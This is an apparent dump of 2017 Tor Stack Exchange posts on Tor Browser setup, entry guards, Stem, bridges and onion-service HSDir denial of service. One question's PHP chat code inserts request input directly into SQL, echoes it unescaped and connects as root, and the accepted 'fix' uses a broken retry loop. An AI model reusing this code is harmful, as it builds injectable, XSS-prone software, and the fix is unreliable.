  <row Id="14437" PostTypeId="2" ParentId="14421" CreationDate="2017-03-30T07:45:11.853" Score="1" Body="&lt;p&gt;Make sure you downloaded the version for Windows and not for other operating systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make sure you downloaded the file was not changed and you downloaded it correctly with checking its signature:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/verifying-signatures.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The follow this guide to install it:&#xA;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#windows&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en#windows&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to run the file you downloaded. If it doesn't run when you double click it, maybe your antivirus is preventing it from running. Check with your antivirus to see how to tell it to let you run it.&lt;/p&gt;&#xA;" OwnerUserId="10013" LastActivityDate="2017-03-30T07:45:11.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14438" PostTypeId="2" ParentId="14435" CreationDate="2017-03-30T07:54:14.963" Score="1" Body="&lt;p&gt;I don't think so. You either route your traffic through tor relays or you don't get the anonymity that results from routing your traffic through tor network.&#xA;If you don't want each node to know the address of other nodes then you need to access them through hidden services&lt;/p&gt;&#xA;" OwnerUserId="10013" LastActivityDate="2017-03-30T07:54:14.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14439" PostTypeId="1" CreationDate="2017-03-30T08:44:56.407" Score="1" ViewCount="1223" Body="&lt;p&gt;If I have a text in &quot;&quot;LibreOffice Writer&quot;&quot; or &quot;&quot;Word&quot;&quot;, or if I have a text in an email or at some website that I wrote or accessed in clearnet; can I just copy/paste that text from my computer/clearnet to the Tor browser without revealing my identity? &lt;/p&gt;&#xA;" OwnerUserId="16894" LastActivityDate="2017-03-30T08:44:56.407" Title="Copy/paste texts to Tor" Tags="|help|" AnswerCount="0" CommentCount="2" ClosedDate="2017-04-01T12:34:47.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="14440" PostTypeId="1" CreationDate="2017-03-30T14:20:24.587" Score="2" ViewCount="5204" Body="&lt;p&gt;When I try to install TorBrowser on Windows 7 I get the following error: &quot;Error opening file for writing: C:\xxx\TorBrowser\Browser\TorBrowser\Tor\tor.exe&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I ignore the error all other files install correctly but Tor obviously won't start because the executable wasn't installed. I've re-downloaded the install file etc... and still won't install correctly. Any thoughts? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="16896" LastActivityDate="2021-09-13T02:02:23.173" Title="Error opening file for writing" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14441" PostTypeId="1" AcceptedAnswerId="14454" CreationDate="2017-03-30T16:14:45.260" Score="2" ViewCount="157" Body="&lt;p&gt;I'm writing a basic chat service, using php and javascript, and it works well on my localhost server(XAMPP), when I'm using Chrome. Once logged in, it takes you to a chatroom. The problem arises when I'm using the Tor Browser. It generates the *.onion hostname successfully, and I'm even able to login. I have to disable NoScript, else weird errors pop up. But once I disable it, the chat page refuses to send any data. I can send a message with another user on my local machine (on Chrome), and that message shows up in the Tor Browser, but I am unable to send anything from it. I have tried this on my mobile, to get the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the code for the chatroom-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    session_start();&#xA;    if(isset($_SESSION['user']))&#xA;        $usr= $_SESSION['user'];&#xA;    else if(isset($_SESSION['admin']))&#xA;        $usr = $_SESSION['admin'];&#xA;    else{&#xA;        echo &quot;You haven't logged in. Go back, you sly fox/vixen.&quot;;&#xA;        echo &quot;&amp;lt;br&amp;gt;&quot;.&quot;Redirect in 5 seconds&quot;;&#xA;        header('Refresh: 5; URL= /');&#xA;        exit();&#xA;    }&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;title&amp;gt;chatbox&amp;lt;/title&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot; src = &quot;../js/jquery-3.2.0.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;script&amp;gt;&#xA;            function submitChat() {&#xA;                if (form1.msg.value == ''){&#xA;                    alert('message, bruh?');&#xA;                    return;&#xA;                }&#xA;                var msg = form1.msg.value;&#xA;&#xA;                var xmlhttp = new XMLHttpRequest();&#xA;                xmlhttp.onreadystatechange = function() {&#xA;                    if (this.readyState == 4 &amp;amp;&amp;amp; this.status == 200) {&#xA;                        var chatlogs = document.getElementById(&quot;chatlogs&quot;);&#xA;                        chatlogs.innerHTML = xmlhttp.responseText;&#xA;                    }&#xA;                }&#xA;                xmlhttp.open('GET', 'insert.php?msg='+msg, true);&#xA;                xmlhttp.send();&#xA;            }&#xA;            $(document).ready(function(e) {&#xA;                $.ajaxSetup({cache:false});&#xA;                setInterval(function(){$('#chatlogs').load('logs.php');}, 20);&#xA;            });&#xA;        &amp;lt;/script&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;form name=&quot;form1&quot;&amp;gt;&#xA;        Name: &amp;lt;?php echo &quot;$usr&quot;;?&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;div id=&quot;chatlogs&quot; style=&quot;font-family: 'Courier New'; overflow-y: scroll; height : 400px;&quot;&amp;gt;&#xA;            If you're seeing this, disable NoScript.&#xA;        &amp;lt;/div&amp;gt;&#xA;        Message: &amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type ='text' name=&quot;msg&quot; style=&quot;font-family: 'Courier New';&quot;&quot;&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input id=&quot;Send&quot; type=&quot;submit&quot; value=&quot;Send&quot; onclick=&quot;submitChat();&quot; /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function submitChat() passes data to insert.php-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    session_start();&#xA;    if (isset($_SESSION['user']))&#xA;        $uname = $_SESSION['user'];&#xA;    if (isset($_SESSION['admin']))&#xA;        $uname = $_SESSION['admin'];&#xA;    $msg = $_REQUEST['msg'];&#xA;    //header(&quot;Location: /dummy.php&quot;);&#xA;    $connect = new mysqli('localhost','root','pword','chatbox');&#xA;&#xA;    mysqli_query($connect,&quot;INSERT INTO logs (`uname`,`message`) VALUES ('$uname', '$msg')&quot;);&#xA;&#xA;    $result = mysqli_query($connect,&quot;SELECT * FROM logs ORDER BY id DESC&quot;);&#xA;&#xA;    while($row=mysqli_fetch_array($result)){&#xA;            echo $row['uname'] . &quot;: &quot; . $row['message'] . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;        }&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All in all, nothing is inserted into the database. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="16898" LastActivityDate="2021-12-07T04:04:20.390" Title="Data not being sent by page to server" Tags="|javascript|server|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14442" PostTypeId="1" AcceptedAnswerId="14444" CreationDate="2017-03-30T17:28:22.450" Score="4" ViewCount="1306" Body="&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;: (you can skip if you already know the details of Facebook's Hidden Service)&#xA;In 2014, Facebook unveiled their Tor Hidden Service that let people from restricting governments access Facebook freely (because Facebook was being blocked in many key countries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is a networking protocol that routes any TCP traffic through 3 random servers (that are voluntarily run by any individual so that it remains decentralized) in layers of encryption, slowly stripped down until the exit node, where all Tor-based encryption is finally stripped by the node and sent on to it's destination, which sends data back through the circuit in reverse.&#xA;This is what most people use Tor for, however there is another (apparently not very well known) feature called Hidden Services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Tor Hidden Service (I call them Onion Services, Tor Onions, or just Onions) is, in a nutshell, a computer that is running the Tor software with certain configurations enabled that allow them to run a Hidden Service (which is as easy as un-commenting 2 lines in the centralized configuration file). This &quot;opens up&quot; virtual ports in a virtual firewall that allow anyone with a certain address (a 16-character string of random numbers and letters ending in .onion, calculated by the hash of the Onion Service's public RSA key) to connect to the service anonymously, being routed instead through 6 Tor nodes and meeting in the middle, called a rendezvous (where the connection never actually leaves the Tor network and is truly end-to-end encrypted). This makes it so that the Onion Service knows nothing of the user's location, and the user knows nothing of the Onion's location. For anybody in between, it's practically impossible to detect the location or even interaction of either the user or the Onion service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user is able to find the Hidden Service by using the address in the distributed hash table, hosted by Tor Nodes who elect to host them by enabling an &quot;HSDir&quot; flag, because the Hidden Service published a &quot;descriptor,&quot; a small file that includes very basic information (the Onion's public key, and a bit of signed data that includes very important information [what this question is really about]: &lt;em&gt;introductory nodes&lt;/em&gt;).&#xA;The introductory node is a very important node (an Onion service chooses 3 of them) that is the only node that is in between all traffic that flows between Tor users and the Tor Hidden Service. It is the node that &quot;introduces&quot; the Hidden Service to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Okay now to the actual question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been known attacks that can temporarily take down Hidden Services, namely one where any Tor node can set itself up to be a Hidden Service's introductory point at a given time. From there, they can deny all traffic that goes to the Hidden Service, effectively taking it offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the internet is filled with crappy people.&#xA;That being said, why don't people do this to big-name Onions constantly, like Facebook? Or even why don't the governments attempting to block Facebook in their country attempt to take down these measly 3 nodes that control the entire connection to Facebook through Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay okay, assuming that this is just because people like facebook and don't want to disrupt it, why isn't this happening with other hidden services, like The Pirate Bay, or The Imperial Library of Trantor? Are there safeguards against this attack of which I'm unaware of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that there are safeguards against it that popular Onion Services use, there are still only 3 nodes that control the entire connection to a service, and Tor is known for being extremely low-bandwidth. So how can only 3 (randomly selected) introductory nodes support the massive bandwidth going towards Facebook's Onion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, the only reason Facebook made this available was so that people from other countries could access Facebook, so there is an entire country-worth of people going through only 3 weakly-connected nodes. How can facebookcorewwwi.onion possibly be constantly available and fast?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;--EDIT--&lt;/strong&gt;&#xA;Apparently I was mistaken; there is no attack that allows a Tor node to place itself in a position allowing itself to become the introductory node of a Hidden Service. I was thinking of a similar attack on Hidden Service Directories instead. This could still have an effect on the uptime of a Hidden Service, as the HSDir could refuse to serve the descriptor, but with the use of a program such as &lt;a href=&quot;https://blog.torproject.org/blog/cooking-onions-finding-onionbalance&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionBalancer&lt;/a&gt;, this becomes increasingly difficult as more HSDir nodes hold the descriptor.&#xA;Thank you for this information, &lt;em&gt;canonizing ironize&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13129" LastEditorUserId="13129" LastEditDate="2017-03-30T18:40:04.877" LastActivityDate="2017-03-30T23:01:34.080" Title="How can Facebook's Tor Onion be constantly accessible with the massive bandwidth demand?" Tags="|tor-browser-bundle|onion-services|onion-routing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14444" PostTypeId="2" ParentId="14442" CreationDate="2017-03-30T23:01:34.080" Score="4" Body="&lt;p&gt;First of all to entirely deny service to an onion service you'd need to take 6 positions in the hidden service directories hashring constantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to generate long term identity keys for all 6 of them and be able to obtain the HSDir flag, which requires a specific amount of uptime and stability, I believe currently &gt;=96 hours (&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/17660&quot; rel=&quot;nofollow noreferrer&quot;&gt;#17660&lt;/a&gt;). This means you need to calculate the keys to put yourself in the correct position on the hashring to act as all 6 HSDirs 96 hours prior to you getting into position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, that's not infeasible but the attack is actually incredibly obvious, the HSDirs not serving descriptors published to them can easily be observed and tested, this would make your relays &quot;bad&quot; and they could be investigated and ejected from the consensus and you'd be back to square one, so you may be able to perform the attack but it wouldn't be incredibly efficient. It would certainly be disruptive, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This attack still works, in spite of using OnionBalance (more on that later). The solution to this, in the next generation of onion services, is that there will be a randomized element in the consensus, a random number generated by the directory authorities. This random number will be put into the mix when deciding which HSDirs to publish to and fetch descriptors from. This random seed in every consensus makes it impossible to calculate ahead of time which keys you'd need to control to get in position, since you can't know in advance what the random value will be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The directory authorities are already generating and publishing this shared random value, it can be seen &lt;a href=&quot;https://consensus-health.torproject.org/#sharedrandom&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, in anticipation of next generation onion services being made available. More on shared random and other improvements and work being done for the next generation onion services can be found on &lt;a href=&quot;https://blog.torproject.org/blog/mission-montreal-building-next-generation-onion-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OnionBalance helps balance the load of people connecting to an onion service, by spreading the load over multiple Tor instances. By taking the introduction points for multiple onions and republishing them under one unifying onion identity, when a client picks an introduction point at random from the descriptor it in effectively picks one of the multiple Tor instances at random. This both helps balance load and protects against attempts to denial of service the introduction point. The descriptor for the facebookcorewwwi onion has 10 introduction points, currently. This is something that can be engineered against by the service provider, unlike the number of HSDirs which needs to be shared between client and service so they are able to know where to look to find the correct descriptor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other options that are available to improve the performance, in cases like Facebook's where they may not deem it important to hide the location of the server but just want to gain the benefits of an onion service, is to use Single Onion services. If configured, the server will connect directly to the clients offered rendezvous point without building a full circuit first. This helps reduce and latency in the building of the circuit and potential overloading of a chosen guard. For more information see the &lt;a href=&quot;https://blog.torproject.org/category/tags/shared-randomness&quot; rel=&quot;nofollow noreferrer&quot;&gt;announcement&lt;/a&gt; blog post (where Shared Randomness was also first announced and added).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-30T23:01:34.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14446" PostTypeId="1" CreationDate="2017-03-31T00:24:10.237" Score="1" ViewCount="980" Body="&lt;p&gt;I have some specific proxy IP addresses. They currently work fine in my standard browser, when changing the proxy settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a way to be able to use TOR and then a specific IP address on top of TOR. So the website I visit will see the specific IP I set. The reason i need to do this is because certain websites I use, require certain IPs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read this page:&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorPlusVPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorPlusVPN&lt;/a&gt;&#xA;&quot;You -&gt; Tor -&gt; Proxy&#xA;&quot;One way to do that is proxychains. Another way would be to use a Transparent Proxy and then either proxify (set proxy settings) or socksify (use helper applications to force your application to use a proxy) the programs you want to chain inside your Transparent Proxy client machine. &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems a little complicated though. Wondering if anybody has any success with this or may be able to assist me in setting this up?&lt;/p&gt;&#xA;" OwnerUserId="16905" LastActivityDate="2017-03-31T00:24:10.237" Title="How do I use a specific IP proxy with TOR?" Tags="|proxy|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14449" PostTypeId="1" CreationDate="2017-03-31T11:36:12.297" Score="1" ViewCount="235" Body="&lt;p&gt;To my knowledge there are hundreds of Tor entry/exit nodes. But during a 4-5 hour browsing I am only seeing nodes from France (a lot), Germany and the Netherlands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why am i not seeing any nodes from places like Brazil, other european countries, Asia or South America?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i missing something here? &lt;/p&gt;&#xA;" OwnerUserId="16914" LastEditorUserId="16914" LastEditDate="2017-03-31T12:04:33.847" LastActivityDate="2017-04-05T22:31:53.153" Title="Is this normal? Am seeing SAME exit/ entry nodes from same 2-3 countries all the time! :(" Tags="|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14450" PostTypeId="2" ParentId="14449" CreationDate="2017-03-31T13:03:17.870" Score="1" Body="&lt;p&gt;Entry guards are expected to be the same over a long time period. Take a look at &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/236-single-guard-node.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;proposal 236&lt;/a&gt; for the reasoning behind it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason that you see so many relays from France, Germany and Netherlands is that they have by far the most nodes. Take a look at the bubble graph showing &lt;a href=&quot;https://metrics.torproject.org/bubbles.html#country&quot; rel=&quot;nofollow noreferrer&quot;&gt;all relays by country&lt;/a&gt; or the one showing &lt;a href=&quot;https://metrics.torproject.org/bubbles.html#country-exits-only&quot; rel=&quot;nofollow noreferrer&quot;&gt;exit nodes only&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We all wish the distribution was different, but it is up to the volunteers running the nodes to decide where they want to run them. And of course, in some countries you can't run a node at all for legal reasons.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-04-05T22:31:53.153" LastActivityDate="2017-04-05T22:31:53.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14454" PostTypeId="2" ParentId="14441" CreationDate="2017-04-01T09:49:28.480" Score="0" Body="&lt;p&gt;Alright. Got a solution. As @canonizingironize recommended, I looked at the Inspector window, the network pane. I had to modify my code slightly. Made the request interval to 1 second, so the server could cope, and added a check, to see if data is sent or not. If not, well, send again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resulting in -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(e) {&#xA;                $.ajaxSetup({cache:false});&#xA;                setInterval(function(){$('#chatlogs').load('logs.php');}, 1000);&#xA;            });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xmlhttp.open('GET', 'insert.php?msg='+msg, true);&#xA;                while(xmlhttp.status != 200){&#xA;                    xmlhttp.send();&#xA;                    if (xmlhttp.status == 200)&#xA;                        break;&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to @canonizingironize and @JanWytze for their inputs.&lt;/p&gt;&#xA;" OwnerUserId="16898" LastActivityDate="2017-04-01T09:49:28.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14455" PostTypeId="1" CreationDate="2017-04-01T11:59:49.513" Score="1" ViewCount="94" Body="&lt;p&gt;I am trying desperately to login over Tor browser to some web server (&lt;code&gt;www.azet.sk&lt;/code&gt;) using certificate Ringier Axel Springer Certificate authentication. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result is always error message such as inserted user credentials are not valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have idea what could be wrong?&lt;/p&gt;&#xA;" OwnerUserId="16928" LastEditorUserId="10777" LastEditDate="2017-04-01T17:47:33.427" LastActivityDate="2017-04-01T22:24:37.293" Title="I can not autenticate on web portal using Tor Browser" Tags="|authentication|" AnswerCount="1" CommentCount="0" ClosedDate="2017-04-09T20:29:01.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="14457" PostTypeId="1" AcceptedAnswerId="14459" CreationDate="2017-04-01T21:50:58.487" Score="3" ViewCount="2405" Body="&lt;p&gt;I'm currently experimenting with Tor via the Stem python lib and using process.launch_tor_with_config() with a pool of processes, each using a different Control Port. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However as I increase pool size from 3 and above I'm seeing multiple &lt;code&gt;OSError: Process terminated: No, it's still there. Exiting&lt;/code&gt; stack traces. Each process in the pool connects, sends out a HTTP request and terminates the connection, going on to the next request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a max number of concurrent connections or is the terminate killing more than a single tor connection?&lt;/p&gt;&#xA;" OwnerUserId="14771" LastActivityDate="2020-03-14T06:24:46.373" Title="How many local concurrent Tor connections can I run?" Tags="|python|stem|connection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14458" PostTypeId="2" ParentId="14455" CreationDate="2017-04-01T22:24:37.293" Score="0" Body="&lt;p&gt;Most of the times logins fail because either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tor exit nodes are blocked, in which case you can't do anything.&lt;/li&gt;&#xA;&lt;li&gt;JavaScript is disabled but required to login, click the blue S in the toolbar and then click &quot;Temporarily allow all this page&quot;. If you can't see that menu entry, it's probably already enabled&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-04-01T22:24:37.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14459" PostTypeId="2" ParentId="14457" CreationDate="2017-04-02T00:06:03.803" Score="0" Body="&lt;p&gt;The issue appears to be that the DataDirectory is ~/.tor by default. It contains a lock file, which is why stem believes that Tor is already running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the DataDirectory like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;process.launch_tor_with_config({…, 'DataDirectory': '~/.tor/custom1'})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I recommend that you run only one Tor instance, reducing complexity and resource use. The only reason I can think of why that you would want multiple instances is if you wanted to be sure that a different circuit is used for every connection. If you want that, you can simply set a different proxy password for every connection. As far as I know, Tor Browser still uses this technique to get a different circuit for every first party domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a short example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import itertools&#xA;from stem import process&#xA;import requests&#xA;&#xA;with process.launch_tor_with_config({'ControlPort': '3421', 'SocksPort': '3420'}) as tor:&#xA;    session = requests.session()&#xA;&#xA;    def receive(password):&#xA;        proxies = {&#xA;            'http': 'socks5://user:{}@localhost:3420'.format(password),&#xA;            'https': 'socks5://user:{}@localhost:3420'.format(password)&#xA;        }&#xA;        return session.get('https://ipinfo.io', proxies=proxies)&#xA;&#xA;    print('== use 10 different circuits ==')&#xA;    for response in map(receive, range(10)):&#xA;        print(response.json()['ip'])&#xA;    print()&#xA;&#xA;    print('== use 10 times same circuit (same password, same circuit) ==')&#xA;    for response in map(receive, itertools.repeat('secret', 10)):&#xA;        print(response.json()['ip'])&#xA;&#xA;    tor.terminate()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;How many local concurrent Tor connections can I run?&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if there is a limit for clients. There probably is a limit per guard node. This usually shouldn't be an issue though since a guard won't know anything about the connections you have made to the other guards. So, if a guard is randomly picked, you shouldn't be able hit the limit easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're running a relay, the limit is 2 per IP.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-04-02T02:21:04.383" LastActivityDate="2017-04-02T02:21:04.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14460" PostTypeId="1" CreationDate="2017-04-02T04:36:47.227" Score="1" ViewCount="682" Body="&lt;p&gt;Good day&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually download files from the Internet, and I have this 700MB rar file I really need to download. But every time I download the file on Tor browser, it mysteriously stops at 657 MB, rendering the file incomplete and useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get over this ? Is there a hidden download space limiter in Tor browser that I don't know ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="16937" LastActivityDate="2017-06-02T12:01:45.440" Title="Tor browser limit download data to 657MB" Tags="|configuration|onion-services|help|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14462" PostTypeId="1" CreationDate="2017-04-02T20:41:41.843" Score="1" ViewCount="26" Body="&lt;p&gt;I am from Turkey where the Tor network is censored. I am using Tails 2.10 so I needed to use bridges which I took from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/&lt;/a&gt;. They were obfs4 bridges. I did tried it multiple times, but doesnt work. I use a sandisk usb as a live stick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the log could you please help me solve this issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04/02/2017 17:57:09.800 [NOTICE] New control connection opened from 127.0.0.1.&#xA;04/02/2017 18:01:36.400 [NOTICE] DisableNetwork is set. Tor will not make or &#xA;accept non-control network connections. Shutting down all existing connections.&#xA;04/02/2017 18:01:36.400 [NOTICE] Opening Socks listener on 127.0.0.1:9050&#xA;04/02/2017 18:01:36.400 [NOTICE] Opening Socks listener on 127.0.0.1:9061&#xA;04/02/2017 18:01:36.400 [NOTICE] Opening Socks listener on 127.0.0.1:9062&#xA;04/02/2017 18:01:36.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;04/02/2017 18:01:36.400 [NOTICE] Opening DNS listener on 127.0.0.1:5353&#xA;04/02/2017 18:01:36.400 [NOTICE] Opening Transparent pf/netfilter listener on &#xA;127.0.0.1:9040&#xA;04/02/2017 18:01:36.400 [NOTICE] Renaming old configuration file to &quot;/etc/tor/torrc.orig.1&quot;&#xA;04/02/2017 18:01:36.800 [NOTICE] New control connection opened from 127.0.0.1.&#xA;04/02/2017 18:01:37.200 [NOTICE] Bootstrapped 5%: Connecting to directory server&#xA;04/02/2017 18:01:37.400 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server&#xA;04/02/2017 18:03:48.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory&#xA;server. (Connection timed out; TIMEOUT; count 3; recommendation warn; host 9D1295EE7E6112A328545327AF88EF00CD2668FE at 42.112.22.30:443)&#xA;04/02/2017 18:03:48.000 [WARN] 2 connections have failed:&#xA;04/02/2017 18:03:48.000 [WARN] 1 connections died in state connect()ing with SSL state (No SSL object)&#xA;04/02/2017 18:03:48.000 [WARN] 1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:9040&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing no-longer-configured DNS listener on 127.0.0.1:5353&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9050&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9061&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9062&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;04/02/2017 18:07:39.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing old Transparent pf/netfilter listener on 127.0.0.1:9040&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing old DNS listener on 127.0.0.1:5353&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9050&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9061&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9062&#xA;04/02/2017 18:07:39.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16948" LastEditorUserId="88" LastEditDate="2017-04-09T11:58:15.407" LastActivityDate="2017-04-09T11:58:15.407" Title="There is a bridge eror" Tags="|tails|bridge|censorship|" AnswerCount="0" CommentCount="1" ClosedDate="2017-05-09T12:12:22.553" ContentLicense="CC BY-SA 3.0" />
